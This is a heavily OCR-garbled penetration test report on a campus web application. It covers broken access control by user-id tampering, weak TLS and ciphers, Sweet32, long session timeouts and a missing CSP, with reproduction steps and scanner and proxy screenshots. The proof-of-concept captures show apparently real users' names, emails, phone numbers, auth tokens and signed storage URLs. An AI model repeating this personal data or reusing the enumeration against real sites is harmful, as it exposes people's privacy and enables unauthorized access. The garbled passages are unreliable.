KIKUMiBAtCBawqnT Q0L 1AWShEVLZ0SaTEa] wMANMARQ0C TEo I WANSFp THT ROY4 1wl ‘self' data: blob: https:; comnect-src 'self’ https:; frame-sre
rFiakSU_N1LyKTEEDllncZekewloenyWsik_vVBQkZaX£PSakWRED 1 £Uve £aTv0oWL 'self' hrtps:; cbject-sre 'self' data: blob: hoeps:; Request headers
JeBZNb4TN1SVSuvabCSABKLNIhED 1G] gihOpXonHy=9_GwfZuiTzuaFe lTOAYSaLEeM Vary: Origin

Vary: Access-Control-Request-Method
Vary: Access-Control-Regquest-Headers

X-Content-Type—Options: nosniff

¥-Mss-Protection: 1; mode=block

Cache-Control: no-cache, no-stors, max—age=0, must-revalidate
Pragma: no-cache

Expire
¥-Frame-Options: SAMEORIGIN
Cf-Cache-Status: DYNAMIC
Beport-Ta:

v58GSpraCh_TyTLEIuqeGOEs4h51L4Ws gz £AVT algGe 51 T3 TARL Cnawk i £2 Chd T s M
kefe0lBLZO0UTHEL7] IDNZyDUESwWvDi7CwCS_tASTYP2IiTaBtyBeEnt FEEVESVC11g3
jdxeI¥vwzVs. 0_hSr17YFqun-Cupull fFhw

Sec-Ch-Ua-Mobile: 2?0

User—Agent: Mozilla/5.0 (Windows NT 10.0; Wingd; x64)
AppleWebKit /537 36 (FHTML, like Gecko) Chrome/138.0.0.0
Safari/537.36

Accept: application/json, text/plain, */*

Content-Type: application/json;charsec=UTF-8

Origin: https://bi_digiicampus._com

Response headers

Sec-Fetch-Site: same-origin {"endpoints®: [{"url": "https: ./ a.nel.cloudflars. comn'/report  /varss
Sec-Fetch-Mode: cors 1hFNeSVnlE6Z4hhfiagleitASwumbEoPnlFs "BndHS 4D CeGa] FOsinOVSkLixS7IDS1P
Sec-Fetch-Dest: supty AdFcEyS 4Db 3nZHL 5 2P SEXKDYPeVI0GDDE e rETWDUAOVEE qLGSqDAGNOETS 9w Te gy

Beferer: nA$3IDE3D" ], " cf-nel", "max_age
Wel: _ 0,"report_to . 'max_age":E04800}
Strice-Transporc-Securicy: max-age=3153£000; inecludeSubDomains;

https://bi. digiicampus. con/studentManagenent /adnin/edit/159812
Accept-Encoding: gszip, deflace, br

Priority: u=l, i preload

Server: cloudflare

Server-Timin

"contentLength": 53, cfld;dese="Tproto=TCParee=17103emin_ree=16940cret_var=5214ssent=Aar
"fileName": "Metafile php", eew=14&lost=Diretrans=0&sent_bytes=78lérecy_bytes=586ladelivery_rat
"contentType": "application/pdf", ==71285acwmd=25launsent_bytes=0acid=3acc7Tc770d6d95dats=150ax=0"
"feature":"CLASSIUIZ",
"isSynehronous": false, i
"shouldStream": false "message":"Please select file with valid extension"

} ]
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3. Broken Access Control via Parameter Tampering

Severity:

Retesting Status:

FIXED

URL:

bi.digiicampus.com/users/profile/personaldetails

Description:

Broken access control occurs when an application fails to adequately
enforce user permissions and access restrictions. This can allow users to
perform actions or access data that should be outside their scope of
authority. One common form of this issue is insecure direct object
reference (IDOR), where user-controllable parameters can be manipulated
to access or modify resources belonging to other users due to missing or
improper authorization checks on the server side.

Impact:

>

Unauthorized disclosure of user data such as full names, user IDs,
and assigned roles.

Enables horizontal privilege escalation, where a low-privileged user
can enumerate and extract information belonging to other users.

Increases the risk of targeted attacks, social engineering, and
internal reconnaissance.

Violates the principle of least privilege and could lead to
compliance issues under data protection regulations (e.g., GDPR,
CCPA).

Recommendations:

Implement strict object-level access controls on the server to verify
that the authenticated user is authorized to access the
requested user_id.

Avoid making access control decisions based solely on client-
supplied identifiers.

Use role-based access checks or ownership validation on all
endpoints returning user-specific data.

Consider replacing predictable identifiers (e.g., numeric user IDs)
with securely scoped identifiers (e.g., UUIDs or opaque tokens) to
reduce the risk of enumeration.

References:

https://owasp.org/www-community/attacks/Parameter_tampering

CWE-472: External Control of Assumed-Immutable Web Parameter

Step To Reproduce

Log in to the application and intercept the user’s request

You can observe the user details in the response.

Change the user id and send the request.

You can observe the other user’s details can be accessed successfully.

Send the request to intercept and add a range to the user id and
observe that you can access all the other user’s details successfully.

Confidential
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https://bi.digiicampus.com/
https://owasp.org/www-community/attacks/Parameter_tampering
https://cwe.mitre.org/data/definitions/472.html

Proof of Concept:

Target: https://bi.digiicampus.com |y

[_sena N

Inspector wD =
Request Response
Pre Raw Hex n Pretty Raw Hex Request attributes 2
GET /rest/users/l09263/profile/personalDecails PTTPI: 22 Server-Timing
2 1o o b g B 1t ) g cfld;dese="7proto=TCPLrtt=18067amin_rtt=17429irtt_var=59176sent=B&r Request query parameters 0
3 Cookie: 2.410604213.1748921725; _gid= ecv=llslost=0iretrans=0&sent_bytes=803irecv bytes=3586adelivery rat
174882 ; _ga SBQICKSHNT= £=133021ccwmd=252sunsent_bytes=04cid=£45252974b20b£15ars=1376x=0"
G52.2.517485217284 013 g1l 7469242565 960$104h0; users 23 Request body parameter 0
eyThbGeiliJIUzI1NiJE eyJpe3MiliJodHRwOiB8wY29shHBwbGwuY 9t Tiwie3Vil] a4
01 lentvHTASI YT iwidWepZC IENTASH] Y2 LCT 1bWFphCIE InlwlnY 2061 hallzph "wkid": 109263,
nFOL3IuY29t IivieChvhulitilSMS0 2z Wiz I SHTUw iwi WOV Le LRSeGUL0L JuYWITL "email":'ep.slBmailinator.com”, Requestrookies H
BHRETiwi dwlyaWZpY2F0aWSul 2 EhdHVET S 01 TiwibnFe 28 TE Tk FbEd gUnFy WO g "phone":"81-9876452238"
GYWlua”Fyliwi YWt aWsShox1ey1EWyJBRERi LCIJBREOILCIBRFIiLCIBRFMiLCIBRL "fulllame”: "SUPRATA T FUMAR", Request headers 23
AiLCIBTOWiLCIBUFciLEIBUk AL IB Uk gi ke JBULAL LEJBVEDALEJCQVRALETCO Q4L "dated fBirch": "2021-11-26",
CICTUMiLCICTUMALCTCTUMALCIDT041LCIDTLT4LCIDUO0iLCIDVYIALCIESLeiLCdE "facebook": "ww. facehook. com",
§1eiLCJESLeiLCIETUeiLCIFQITiLCIFRUDILCIFRVMiLCIFTVIiLCIFTVMiLCIFVED "twitter":null, Response headers 21
iLCJFVEOiLCIFVEDiLCIFWEDIiLCIGOLTiLCIGTVMiLCIGTEMiLCIGULEULLCIHT0eiLC "linkedin": "xsxs",
JHUFMiLCITQVMiLCITVEELLCITVEWi LCTTQ0wiLCIKTUMALCILTOgiLCTMRC TS T QU "adhar":null,
yIsTExUlyTs 1S Ts T L TVC IS TS CaS Ts Tk SCRC TS TIBBWS Ts T1IBMAS s TLBN T dwi "media_id":128814,
UFBTIiwiUFRNIiwiUlAiLCITQOgiLCITRITiLCITURUILCITULYiLCITVEELILCITVFI "profilePie":
ALCITVFMiLCITVWALILCIUQLIIiLCJUSUMiLCIJUUEDILCIVTSISsTIVHRSIs TV TiwiVl "https://s3. us-west-7 amazonaws. com/testattachments. collpoll/ec
FDTiwiVENMIiwiTl1TIiwiWrFD 105 Inp0aSTE 1 FANVHANTY 3LUWT A=Y NGy 05T ollege-36/user-109263/5df416520be4305a4dEb050E4b32225_ 2025042
VIOLTIENDYxMDYODZ L0 TS Tnlhd 0T EMT o0 0Dy D Mylywi Zx0w I oxHz QSNT 40T T3 5_054139_3E_l09263_image_1745559695. jpeq? response-contenc-disp
£Q. pRIUgFOb_0jReéxbOduunLAWnmsvScMEWUPxUCe _Jgws ;. osition=inline%3B%20filename$3DIMG-20250425_054139. jpeg&X-Amz-
amplitude_iddigiicampus.com= Algorithm=AWS4-HMAC-SHAZSE6X-Anz-Date=C0250603T04264326%-Anz -5
ey T ZXEPTIVIZCIE T Z4YWUYTS FLT c 0N NGTS 0505 0GH2LTF jHuV 1 OVESHD T2V T £=36006X-Anz-Credential =AKTAUB3R
1LCT1e2VySWions1bGws InSwdES1dCTIEZnF se2Us Tl e 3ipb2 5T ZC TENT e 00Dy T SNPELIZGEPVWE2F202505034 2Fus-west—23 2F534 2Fawsd_recquestaX-Anz-
eyMzA4MiwibGFzdEVI ZWS0VG 1L ZSIEMTeD0DkyNDMOOTEXNSwiZHZ 1bnRIZCIENiwia Signature=he525b90070b4271dl01lbla7celE5baTaf23dB4dbdld0asc48d9
VRLbnRpZnlIZCIENCwic2VadWVuYIVOAVIAZNIi0 29, _gac=1 .
4 Sec-Ch-Ua-Platform: 'Windews' M Software engineering”,
Accept-Language: en-US,en;q=0.%9
Accept: application/json, text/plain, */% "Stewen Paul Jobs was an American entrepreneur and business ma
7 huth-Token: gmate. He was the chairman, chief executive officer (CE0), and
eyThbGei0iTIUZIINLTS . ey pe 3Mi0ilodHRW01i6vY2E shEBvh GwuY 29 TiviedVily 2 e Et : smesie
m & < v Target: https://bi.digiicampus.com | 4
== Inspector o =
Request Response
Pratty Raw He w0 o= Pretty Raw Hex Render W = | Request attributes 2
4 GET /rest/users/l09I€l/profile/personalDetails HTTP/:lI GEHIPMpOaws DS 30" ], "group ef-nel", "max_age":E04800}
T Nel: {"success_fraction":0,"reporc_to':"ci-nel", 'max_age":E04800} AT o
3 Cookie: _ga=GAl.Z7 410804Z13.1748871726; _gid= Server-Timing:
GAL.7.441359417.174892 ; _ga_SBOJCKSNM7= cfLd;desc="Tproto=TCParct=2096%Emin_rtt=195304rtt_var=6378ssent=64r
G5I2.2.s5174892172850l$gl3t1740924256$7605105h0; user= ecv=l0alost=0aretrans=0isent bytes=T70larecv bytes=350fadelivery rat Request body parameters L]
eyThbCeiliJIUaI1NiJE eyIpe3MitiJodHRwliBuY29sbHEvhCwu Y25t Tiwie3Vily 271%ewnd=25lcunsent_bytes=0£ci1d=43378471a74962236es=1254x%=
o1l enMvMTASM ¥ x IiwidWtpZCIEMTASM ) YxLCI1bWFpbCIE ImwlnYx(QGlhaWxph 23
nFOb3ITuY2Se TivicChvhnlioil SHS03NTulz T 2T U] iwi Xl elREeGUL0 L TuYWIL 1 [ErriEed = o
BHRSTiwiduVyaWZpYIF0aWouU3PhdHVzIjoiliwibnFrZS 161k FkbS 4gVuFy TWO gV "wrid": 109261,
GYWluatFyliwiYWRCaWsShlxleyIEWyJBREEiILCIBREDiLCIERFIiLCIERFHiLCIBRL “email":"cp. fl@mailinator.eom", Request headers 23
AiLCJETOWiLCIBUFciLCIBUkQiLCIEUkgiLCIBULALILCIBVEDLLCICOVOiLCTCOkQLL "phone” tmall,
CICTUMiLCICTUMALCICTUMLLCIDT041iLCIDTLIIELCIDUD0ILCIDVVIALCTESLeilCTE "fulllame”: "Adun. Varad Ujjainkar",
51eiLCIESleiLCIETUeiLeIFQITiLCIFRUOILCTFRVMiLCIFTVIiLCIFTVIL LCIFVED "datedfBireh":null, Respanse headers F3
iLCIFVEDiLCIFVEDiLCIFWEDIiLCIGQLITiLCIGTVMiLCIGTRMiLCICURULLCIHTOeiLE “facebook":mull,
JHUFMiLCJIQVMiLCJIVEELiLCJIVEwiLCTIQ0wiLkCIKTUMiLCILTOgiLCIMRC s Dex QU “twitter":'www.twitter.con”,
yIsTkxUlyIsTk1005IsTkLTVCIsIkSCOSIs Ik SCRCISTIBBVS IsTIBHOSTsTLENTdwi i wiw. linkedin. con”,
UFBTIiwiUFRNTiwiUlAiLCITQOgiLCITRITIiLCITURULILCITULYiLCITVEELILCITVFI
ALCITVFMiLCITUVAILCIUQLTiLCIUSUMiLCJUUEDiLCIVTSISIIVNRSIsT1VGIiwiVl L zos,
FDIiwiVENMIiwiVklTIiwiWkFDI10sInp0aSI6IjFiNWMINTY 2LWT iz VelNGIThNy 05T "profilePic":
VIOLTIRND¥xMDYOODZIMCIs ImlhdCIEMT e 0Dy DMy ywiZihwloxNzQ5NTQ40TI3 "https://s3.us-west—. 5. con/testattack ts.collpell/ec
£Q_pRIUgFOb_07RExb0duunLAWNmsvScMEWUPxUCe_Jgws ; ollege-26/user-109C761 /7829 f6Eb735c48EdallTeedbealBlBad_C074060
amplitude iddigiicampus.com= - B 115616 _3&_lO926l th.jpg?response-content-disposition=inlinet
ey ThZXZp JZCIEIIZiVWUYYiFiLTeOMWOtNGV0S050GHILTFMuV 1 0WESNDYIMVI FB%I0filenane’3DING-I0240608 L1SELE. jpeyad-Auz-Algorithu=AWS4i-
iLCI1e VySWQiOns1bhCws InSwdES 1dCTE2nFs e Us Inlle3Mph 2 5JZCTEMT 00Dy MT HMAC-SHAZSELX-Amz-Dat. ZE0E03T042756Z6X-Amz-51gnedHeaders=ho
cyMzAAMiwibGFadE WSOVGLtZS IEMTe00DlyNDMOOTExNSwiZXZ1bnRIZCIENiwia stéX-Amz-Expires=3600&X-Anz-Credential =AKTAUB3RSNPELJZGEPVWEZF
VR1bnRpZnlJZCIEMCwicIVadWWuYIVOAW1iZXIL0329; _gat=1 02506033 CFus-west-I32Fs3%Fawsd requestil-Auz-Sigmaturesla
4 Sec-Ch-Ua-Platcform: "Windows 4cl5926075a£20101al26392268172ae75£c03bE3bAS5 5207 cdTed3ala
Accept-Language: en-US,en;q=0.9 "programme’-null,
Accept: application/json, text/plain, */* "Bio®
Auth-Token: "I am a in Mechanical i ing D . I'moab
eyThbGeilidIUZIINITS  eylpe3MitidodHRw0iBvY29sbHEvhGwUY 29 Tiwic3ViTy out motors and aut tion engineering. Like to interact with s
Request Payload Status code Response ... Error Timeout Length Comment
33 108282 200 7 1647
34 1092383 200 104 2127
35 109284 200 133 2131
[36 109285 200 86 1651
37 109286 200 110 1652
38 109287 200 115 2138
39 1092388 200 103 1616
.
Request Response .

\n

Pretty Raw Hex Render

e e T e

"ukid": 105285,
"email":"17TMECHOLl@collpollE ommicrosoft. com",
"phone": "S91-9042E25616"
"fullWName": "Sikakollu Anmurag",
"datelfBirth"null,
"facebook"null,
"twitter":mull,
"linkedin":mll,

"adhar" -nuall,

"media id":null,
"profilePic":null,

E_Tech in Mechanical & Engineering",

"programme
"bio":null,
designacion - ill,
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Retest Proof of Concept:

Request

Pretty Raw Hex

W o

GET /users/profile/personaldetails HTTP/Z

Host: bi.digiicampus.com

Cookie: _ga=GALl_ Z.17087&6577.1748525664; _gid=
GAL.Z.1811359392.1753679515; user=

eyIlbnMidi JEMIUZRONN IiwiTWenIjoiZGlyInd. . 5aFJ0784Kz6wC Nl . wdnltHEUWC
LFP)7vR0SEoeQSnELY I NUYDrURSO0CAERI ihy OWE ARz 8 Env l ol uZVhVAPLF lelndyx
LAPNQGHMoZruksv ¥k T121Kv O EWIFQe 4 InnéTwl TEh4iaDCplohPoYe¥V1liwtXBEow
HFEnRZvZIrkkdbwiLsyKoexdSATLall8cgUlHY 3pal QWETH3e 50p82EYy Y SDIMhiVeMFZQE
40ralE 51k RF rnSMSyz 408 Sy YNCUWxhE1l T gglCHgEHywi Y 0wkvlXqTpCliDzaycF20
AhMEYNAiC3e3BGFOZY fvBglq3Bw_ cANfatdl lApgt -VinuLEHKE TmB 5 LZNTJr 0 -EXVD
WpAqDhxMlzlK2aFasSkhpTax4T 74 £x] 25US £gyE M L3s CuTCAq hHFuzeyTHx hrr
ZTKFFBvy 01Uk ZdlThegUZ3JFoxrc fopd8-nlaxlKSIh £Q0TyMSwxkdixGVdH4 jr IgY
L21Df2phSaudgBvtoyRiWl_eZoWleonzASCuVl -nVacS2 fC2PuVT_HEZrBzudVBAL 101
IThGMe AGHWIT 1 OnEp alft 3Pe S5 gRWt YhedlHEx Pdyius Ivlvir JEsr IN_Qih wIJghDX
cquiTvenecZoULAREk jng8 £87c] 0 TugKsad JTWENEL QS Ewx_ 33 dUTulCDWqewDGNIT
1RTThMEmBk c=8oTalkoalBnBeME 1 Bdler Suy S KY TUMIS i Bv AANAEZNNLO g2 dsUC] fal
zsEQ)cike0XyyposuoIAgrZMiS3 ] —evTnsWavt gz AZSNSP 1551 5 fHb LSHE gD Dobuekw
T£ill_yFhij4VE] i9yvriEvryscInTRTwqFpCRTbETre Y qZ0zCcFivgex ghlluck £5TA
TI9cBttHCWORRGE LzF freUSyVDEw HDNHezS5eH85Y-x2vi7ULDbgeJ YOFgx] gk Lo 2L
J_ Al g4 QFiMSTOFHCgpVERO0TLeEloouTkL_ckgfZ HESEOIsN10EQ EC44qENxWIHiKD]
allRVoyTDv fHIWdcBEZUT7ixlxgZWhAT7 Ik 7T-4yxeHolxlqZh3P0Dvo RgPEyNazuTTSDE
LUBquiyeB8XeTECQ £2kwkUgT C2uo Su—SunUegycUssk 0us Ty e SwHENOT-LOLEk d4nEsat
LTdE2RedDBwewrPEEgxknl B5EGEHAT Lyvts I gFdnIWuvab fIBlni goEnS07iZEfDL
bnICELApEdt asul AnE 1 GEz gDwED SyoTqk QpvhlMeD LETF 01V GqTonlGs £ TnI P - Thup
PDRULECLL 8 xwuLhBnTVg9T4 ThGwTEg=32-93W_saFBGOVIGEREI 0D 0pl tpMalp - 5vE
l-_S-TyTe-sSvHNTILOc)l rEslVDSNROCE--gPSGEQLSnRVoTRe0EbnoTxGRES1=Tn
gYESk 10 EnRLUgE - LHEqT glsKEH-DXIS_zhe_AyTe(odTdeTlEWAMOTyhIYELLyb 20F
hTOHMPXwwEZyWRSTFRPEJ g IANGIXI JoBaxlw_CyeBUq9xCwRERENUFzFUgaE44alf
ETSTvzxD4ntvrTO-AlMailPu¥ ETES40wdiGABEQSvwTrIS7EkReZPs-UGkealFIVTr
yE8DaT3L0-dNPELdThdr £CX8 1Bn0xwE sHESwirHV Bmx_UBdSskrseMLxwilpiEZiJ0z
IFqicuvHsMGhwhs S niSDC s —— 2 TErWnGaTAlne Z4FF N Gyerr 0k 35Lodldt_kATkir

Response

Pretty Raw Hex Render o=
1 HITP/Z 00 0K

2 Date: Mon, 28 Jul Z0ZE& 0OE:EZ:E50 GHT

3 Content-Type: text/html;charset=UTF-8

4 Access-Control-Allow-Credentials: true

z Access-Control-Allow-Methods: POST, GET, OPTICWNS, DELETE, PUT

¢ Access-Control-Max-Age: 3600

7 Access-Control-Allow-Headers: content-type, accept,

Confidential

x-recuested-wich,
x-requested-by,
origin, accept-language,
auth-token

Content-Security-Policy:

authorization, x-esrf-token, x-xsrf-token,
x-auth-token, cache-control, pragma,
x-correlation-id, x-recuest-id,

expires,

default-sre 'self' 'unsafe-inline'

'‘unsafe-eval' data: blobk: https:; script-src 'self'
'‘unsafe-inline' 'unsafe-eval' data: blob: https:; style-src 'self’
‘unsafe-inline' data: blok: http img-src 'self' data: blob:
https:; font-sre 'self' data: blob: https:; connect-src 'self’
htrps:; frame-src 'self' htops:; object-src 'self' data: blob:
https:;

Vary: Origin

Vary: Access-Control-Bequest-Method

Vary: Access-Control-Regquest-Headers

Vary: accept-encoding

Last-Modified: Mon, 28 Jul Z025 04:38:24 GMT
¥-Content-Type-0ptions: nosniff

H-Msg-Protection: 1; mode=hlock

Cache-Control: no-cache, no-store, max-age=0, nust-revalidate
Pragma: no-cache

Expires: 0

H-Frame-Options: SAMEORIGIN
Content-Langquage: en-US
Cf-Cache—Status: DYNAMIC
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4. TLS Version 1.0 & 1.1 Protocol Detection

Severity:

Retesting Status: FIXED

URL: bi.digiicampus.com

Description: The remote service accepts connections encrypted using TLS 1.0. TLS
1.1 has a number of cryptographic design flaws. Modern
implementations of TLS 1.0 mitigate these problems, but newer
versions of TLS like 1.2 and 1.3 are designed against these flaws and
should be used whenever possible.
As of March 31, 2020, Endpoints that aren’t enabled for TLS 1.2 and
higher will no longer function properly with major web browsers and
major vendors.
PCI DSS v3.2 requires that TLS 1.0 & 1.1 be disabled entirely by June 30,
2018, except for POS POl terminals (and the SSL/TLS termination points
to which they connect) that can be verified as not being susceptible to
any known exploits

Recommendations: Enable support for TLS 1.2 and 1.3, and disable support for TLS 1.0 &
TLS1a

References: https://developer.mozilla.org/en-
US/docs/Web/Security/Transport Layer Security

Step To Reproduce Using test SSL scanner to observe this vulnerability

Proof of Concept:

Command Prompt - docker run -ti drwetter/testssl.s 1 bi.digiicampus.com

Further IP dr E 172.67.78.53 184.26.9.162 2606:476

NPN+ALPN

offered (d
offered (d

of a
offered

Testing server's cipher preferences
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https://developer.mozilla.org/en-US/docs/Web/Security/Transport_Layer_Security
https://developer.mozilla.org/en-US/docs/Web/Security/Transport_Layer_Security

Retest Proof of Concept:

Command Prompt - docker run -ti drwetter/testssl.sh bi.digiicampus.com

not offer

- = = LA LA
[l el a2l

[V v,

=
=
=

her categories

NULL ciphers (no encryption)

Anonymous NULL Ciphers (no authentication)
Export ciphers (wy )

LOW: 64 Bit + DES, RC[2,4], MDS (w/o export)
Triple DES Ci

Obsoleted CBC phers (AES

Strong enc AEA iphers) with no FS
Forward S y strong encryption (AEAD ciphers)

ng server's pher preferences
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5. Application vulnerable to Sweet32 Attack

Severity:

Retesting Status: FIXED

URL: bi.digiicampus.com

Description: The Sweet32 attack is an SSL/TLS vulnerability that allows attackers to
compromise HTTPS connections using 64-bit block ciphers.

Recommendations: Reconfigure the affected SSL/TLS server to disable support for obsolete
64-bit block ciphers.

References: https://sweet32.info/
CWE 310: Cryptographic Issues

Step To Reproduce Using test SSL scanner to observe this vulnerability

Proof of Concept:

Command Prompt - docker run -ti drwetter/testssl.sh bi.digiicampus.com

Reverse Proxy banner
Testing vulnerabilities

riment.

Secure Renegotiation (RFC 5746)
Secure Cli tiated Renegotiation

Q7
Can be ignor

VULNERABLE, uses 64 bit blo

DES-CBC3-5SH
VULNERABLE -- but also supports

Confidential

22


https://sweet32.info/
https://cwe.mitre.org/data/definitions/310.html

Retest Proof of Concept:

Command Prompt - docker run -ti drwetter/testssl.sh bi.digiicampus.com

Can be i ed C p: or if no s
POODLE,
TLS_FALL

u don't u

rirtual_hosts

no DH

LUCKY13
Winshoc

Confidential
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6. Local Adversary can hijack authenticated sessions due to High session In- activity period

Severity:

Retesting Status:

BUSINESS USE CASE

URL: https://bi.digiicampus.com/

Description: It was found that the session expiry limit is not set or is too long for the
application. Even if the user session is inactive for a prolonged period after
login, the application does not terminate the session automatically.

Impact: A local adversary can hijack authenticated sessions due to a high session-

inactivity period which can lead to gain access to the victim’s account.

Recommendations:

The value you are setting in the timeout attribute is the one of the correct
ways to set the session timeout value. The timeout attribute specifies the
number of minutes a session can be idle before it is abandoned. The
default value for this attribute is 20.

The session management implementation defines the exchange
mechanism that will be used between the user and the web application to
share and continuously exchange the session ID. There are multiple
mechanisms available in HTTP to maintain session state within web
applications, such as cookies (standard HTTP header), URL parameters
(URL rewriting — RFC2396), URL arguments on GET requests, body
arguments on POST requests, such as hidden form fields (HTML forms), or
proprietary HTTP headers.

References:

https://owasp.org/www-project-web-security-testing-quide/latest/s-
Web Application Security Testing/o6-Session_Management Testing/o7-

Testing_Session_Timeout

Step To Reproduce

Step 1: Log in to the application and do not submit any request for a
prolonged period of time.

Step 2: It was observed that the application does not terminate the user
session even after a prolonged period of inactivity (more than 30 minutes).

Proof of Concept: N/A

Confidential
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https://bi.digiicampus.com/
https://www.ietf.org/rfc/rfc2396.txt
https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management_Testing/07-Testing_Session_Timeout
https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management_Testing/07-Testing_Session_Timeout
https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management_Testing/07-Testing_Session_Timeout

7.  WEAK Cipher (3DES)/IDEA & Obsolete CBC ciphers supported

Severity:

Retesting Status: FIXED

URL: bi.digiicampus.com

Description: »  This server offers weak ciphers (3DES)/ IDEA.

» The remote host supports obsolete CBC ciphers. This may allow an
attacker to recover the plain text message from the cipher text.

Recommendations: » Disable weak ciphers (3DES, SEED, IDEA, RC2, RC4, MD5) on the

server.

Reconfigure the affected application to avoid use of CBC Ciphers.
Standard cryptography packages such as SHA-256, RSA. GCM
should be used.

» It'simportant to reqularly review and ensure the security protocols
and ciphers in use are up to date to mitigate potential
vulnerabilities.

References: https://www.geeksforgeeks.org/triple-des-3des/
https://dev.to/markyu/encrypting-with-block-ciphers-a-quide-to-aes-
cbc-and-more-31gn
https://medium.com/@coD3M/lucky-13-attack-explained-ddgagfd42fab

Step To Reproduce Using test SSL scanner to observe this vulnerability

Proof of Concept:

Command Prompt - docker run -ti drwetter/testssl.sh bi.digiicampus.com

Testing cipher categories

NULL ciphers (no encryption)
Anonymous NUL rs (no authentication)

Export ciphers ‘o ADH+MULL)

L0W- A4 Rit &+ DFES_RCI2 41 MNS (w/o _exnort)

Triple DES C IDEA offered
Obsoleted CBC (AES, ARIA etc.) offered
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https://www.geeksforgeeks.org/triple-des-3des/
https://medium.com/@c0D3M/lucky-13-attack-explained-dd9a9fd42fa6

Retest Proof of Concept:

Command Prompt - docker run -ti drwetter/testssl.sh bi.digiicampus.com

ier categories

NULL ciphers (no encryption)

/mous NULL Ciphers (no authentication)
Export ciphers (w/o ADH+NULL)
LOW: 64 Bit 5, RC[2,4], MD5 (w/o export)
Triple DES A

ciphers

Strong en tion (AEAD ciphers) with no FS
Forward Secrecy strong encryption (AEAD ciphers)

preferen
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Severity: LOW

Retesting Status: FIXED

URL: bi.digiicampus.com

Description: The vulnerability of a missing Content Security Policy (CSP) header refers
to a security flaw where a web application fails to include the necessary
CSP header in its HTTP responses. A Content Security Policy is a browser
security feature that helps prevent various types of attacks, such as cross-
site scripting (XSS) and data injection, by specifying which sources of
content are considered legitimate. The absence of a CSP header leaves the
application vulnerable to these attacks.

Impact: Using this vulnerability, an attacker can: -

e use this vulnerability to perform cross-site scripting.
e perform clickjacking on the end users.
e perform code injection attacks.

Recommendations: Addressing the vulnerability of a missing CSP header requires immediate
action. Developers should ensure that the application includes a proper
CSP header with appropriate policies to restrict the sources of content and
scripts that can be executed. Implementing a strong default-src policy and
specifying other relevant directives can enhance security.

References: https://content-security-policy.com/

https://web.dev/articles/strict-csp

Step To Reproduce e InBurp Suite, capture any request and response

e Inresponse, we can see there is no Content Security Policy header
present

Proof of Concept:

Request Response
Pretty Raw Hesx E noo= Pretty Raw He Bender n_ =
1 T teGetSignedUrl/1l30332 HITP/Z )| mrTR/Z ZDO OK
5| Host: bi_digiicampus.com 2| Date: Tue, 03 Jun 2025 04:4g:25 GMT
z rre——gm—exr-—=—T=oeTEsd7 17489°5864; _gid= o cContent-Type: applicationsison
GAL.Z.530352875.1748925664; users 4 cf-Pay: 549cocDaaeflasobp-MAR
eyIhbEeiOiJIU=I1INiJS . eyIpe3MicilodHRw0i8vY S shbHEvh GwuY 9t Tiwie3Wily J server: cloudslare
o1}l enMyHMTASH) Ywlivi dWepZCIEMTASHI YwLC T 1L WFRL CIE InlfwLulhMUBE TWls a 4 2ccess—control-Allow-origin: heeps://bi.digiicampus.com
WELAGSyLullwhSIs InBobI81TS 010 TE: 0D gxMDTwMDASHy Ts InVeZXIUeXB1Ij0iT28s | Access-Concrol-illow-Credencials: true
LHEwh Cwt YWRE aW4iLC I SZHIpEnl  THEph IS TACFO AL 0L TiLCIuYWl1 T 0i0o s shHE d 2ccess-control-allow-Methods: POST, SET, OPTIONS, DELETE, PUT
vhGwg T EFEbWluliviYWhe aWs5h2x 1oy 16Wy JEREEL LCIBREULLCIJBEREOLLCIBRFIALC d Access—control-Max-Age: 2800

JERFMiLCJIERIAiLCIESVIiLCJESVeiLCJBTUEL LCJEUEQiLCIJBUFciLCJBUKQiLCIBU | 1of Access—Control-Allow-Headers: *
kgiLCJBULALLCIBVEMi LCJBVEUiLCIBVEDALOICOVOiLCICQkQiLCICQLITALCICTUMA 1) Wary: Origin
LCJCTUMiLCIDQ1TiLCIDgIMiLCIDQleiLCIDTSIs KNS s IFNPTiIsIENPULIsIEN | 1of Wary: Access-Control-Regquest-Method
QUiIsIENQUyIsIENSRSISIKNTISIsIkPBVyIsIkRDULIsIKRDVYIsIKREQSISIKREVY | 13 Wary: ontrol- —Headsrs

IsIERFUyIsTEELVy IsTERNEBy IsTEENVy s TEROUi IsTERPRCTIs TRRQOSIsTEROUATIsST |14 X-Content-Type-Options: nosniff
KROVyIsTEESQSISsIkRTAS TSIk RTUA IS IERTVC IS Tk BTV Is Ik EXVy IsTEVDUiIsIkVF | 1z X-Xss-Protection: 1; mode=block
TSIsIEVFUyIsIEVITLiIs Ik VU Is IEVUTSIsIkVYTSIs IR ZBULiIsINZEVyIsIkZDULTI 14 Cache-Control: no-cache, no-stors, max—age=0, must-revalidace
SIEZFRSIsIKEZIJQSIsIkEITCIS IEEMVE IsIEENUils Ik ENUy IsIkZ00wIsIkZQ0yIsIk |19 Pragma: no-cache

ZSRSIsIkESVilsIkdPRyIsIkdQTSIsIkdiUyIs IkhBUyIsIERTUilsIkhTVy IsIkhUQ 1o Expires: O

SIsIkhUTCIsIkIDTCISsIk1EQyIsIk10TSIs IEplQyIsIkePSCIsTkxCVSIsTkxEliwi |19 X-Frame-Options: SAMEORIGIN

TFEEIiwiTFETIiwiTFRTIiwiTULKIiwiTULFIiwiTULTIiwiTVEEIiwiTVERIiwiTVJ |20l CEf-Cache-Status: DYNAMIC
HTiwi TUNSTiwi TUNUT iwi TUNNTiwi TVdXT iwi ThFQTiwi Tk ENTiwi TIBETiwiT1IBDTi 23| Repore—Ta:
WiT1RETiwiTOJBTiwiTOJETiwiTOITTiwiUEFZTiwiUEZSTiwiUEEKTiwiUEhSTiwill {"endpoints": [["url": "https: /' a nel cloudflare. com' /report’/vd?s=
ELHIiwiUExBIiwiTEOiLCIOTUUALCIOTVYiLCIOUEELLCTQUFMiLCIOVEOLLCTSTUMA Qrn$2BKACTI 2eP T lyxAASQFNTXEWLGE4S ZFGNGUROF Lo TRwOT iV LN It UBxHx sEas
LCTSUCIST1JQUiTsTINEUiIsTINEVyIsTINDSCIsTINGUiTsTINMTS s T1INMVy TsT 1N 41 gxVdLniexnn73pwEbVHMagGT Gyp fugPBuaj eStI00CdsDx 103V TRATUT jgeop5is s
